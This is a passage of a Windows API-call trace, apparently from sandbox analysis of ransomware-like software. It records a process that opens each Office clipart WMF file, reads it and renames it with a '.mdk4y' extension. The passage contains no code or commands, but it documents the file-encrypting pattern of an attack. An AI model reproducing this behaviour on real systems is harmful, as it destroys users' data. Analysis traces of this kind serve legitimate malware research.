[0152.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153091.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153091.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822792800000) returned 1 [0152.698] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fc8, lpOverlapped=0x0) returned 1 [0152.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822794500000) returned 1 [0152.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822794500000) returned 1 [0152.715] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.mdk4y")) returned 1 [0152.716] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.717] AreFileApisANSI () returned 1 [0152.717] GetACP () returned 0x4e4 [0152.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153093.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153093.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822794700000) returned 1 [0152.717] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22b0, lpOverlapped=0x0) returned 1 [0152.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822798300000) returned 1 [0152.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822798300000) returned 1 [0152.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.mdk4y")) returned 1 [0152.755] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.755] AreFileApisANSI () returned 1 [0152.755] GetACP () returned 0x4e4 [0152.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153095.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153095.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822798600000) returned 1 [0152.756] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe78, lpOverlapped=0x0) returned 1 [0152.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822798700000) returned 1 [0152.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822798700000) returned 1 [0152.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.mdk4y")) returned 1 [0152.759] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.759] AreFileApisANSI () returned 1 [0152.759] GetACP () returned 0x4e4 [0152.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153265.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153265.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.759] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822799000000) returned 1 [0152.760] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbc0, lpOverlapped=0x0) returned 1 [0152.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822800400000) returned 1 [0152.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822800400000) returned 1 [0152.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.mdk4y")) returned 1 [0152.775] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.775] AreFileApisANSI () returned 1 [0152.775] GetACP () returned 0x4e4 [0152.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153273.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153273.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.775] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822800600000) returned 1 [0152.776] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e80, lpOverlapped=0x0) returned 1 [0152.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822807400000) returned 1 [0152.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822807400000) returned 1 [0152.845] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.mdk4y")) returned 1 [0152.846] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.846] AreFileApisANSI () returned 1 [0152.846] GetACP () returned 0x4e4 [0152.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153299.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153299.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.846] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822807600000) returned 1 [0152.846] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8f0c, lpOverlapped=0x0) returned 1 [0152.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822808400000) returned 1 [0152.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822808400000) returned 1 [0152.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.mdk4y")) returned 1 [0152.855] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.855] AreFileApisANSI () returned 1 [0152.855] GetACP () returned 0x4e4 [0152.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153302.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153302.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822808700000) returned 1 [0152.857] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7850, lpOverlapped=0x0) returned 1 [0152.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822811700000) returned 1 [0152.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822811700000) returned 1 [0152.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.mdk4y")) returned 1 [0152.889] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.889] AreFileApisANSI () returned 1 [0152.889] GetACP () returned 0x4e4 [0152.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153305.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153305.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.889] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.889] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822811900000) returned 1 [0152.889] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9658, lpOverlapped=0x0) returned 1 [0152.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822812300000) returned 1 [0152.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822812300000) returned 1 [0152.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.mdk4y")) returned 1 [0152.894] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.894] AreFileApisANSI () returned 1 [0152.894] GetACP () returned 0x4e4 [0152.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153307.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153307.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.894] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822812400000) returned 1 [0152.894] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c58, lpOverlapped=0x0) returned 1 [0152.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822814200000) returned 1 [0152.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822814200000) returned 1 [0152.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.mdk4y")) returned 1 [0152.913] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.913] AreFileApisANSI () returned 1 [0152.913] GetACP () returned 0x4e4 [0152.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153313.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153313.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822814400000) returned 1 [0152.914] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4238, lpOverlapped=0x0) returned 1 [0152.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822819600000) returned 1 [0152.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822819600000) returned 1 [0152.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.mdk4y")) returned 1 [0152.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.967] AreFileApisANSI () returned 1 [0152.967] GetACP () returned 0x4e4 [0152.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153398.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153398.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822819800000) returned 1 [0152.968] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4464, lpOverlapped=0x0) returned 1 [0152.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822822400000) returned 1 [0152.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822822400000) returned 1 [0152.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.mdk4y")) returned 1 [0152.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.996] AreFileApisANSI () returned 1 [0152.996] GetACP () returned 0x4e4 [0152.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153508.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153508.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.996] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822822700000) returned 1 [0152.997] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x85d0, lpOverlapped=0x0) returned 1 [0153.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822825200000) returned 1 [0153.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822825200000) returned 1 [0153.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.mdk4y")) returned 1 [0153.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.024] AreFileApisANSI () returned 1 [0153.024] GetACP () returned 0x4e4 [0153.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153514.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153514.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822825500000) returned 1 [0153.025] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31d0, lpOverlapped=0x0) returned 1 [0153.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822827500000) returned 1 [0153.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822827500000) returned 1 [0153.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.mdk4y")) returned 1 [0153.046] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.046] AreFileApisANSI () returned 1 [0153.046] GetACP () returned 0x4e4 [0153.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153516.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153516.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.046] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822827700000) returned 1 [0153.047] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d08, lpOverlapped=0x0) returned 1 [0153.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822829500000) returned 1 [0153.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822829500000) returned 1 [0153.066] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.mdk4y")) returned 1 [0153.066] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.066] AreFileApisANSI () returned 1 [0153.066] GetACP () returned 0x4e4 [0153.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153518.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153518.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), 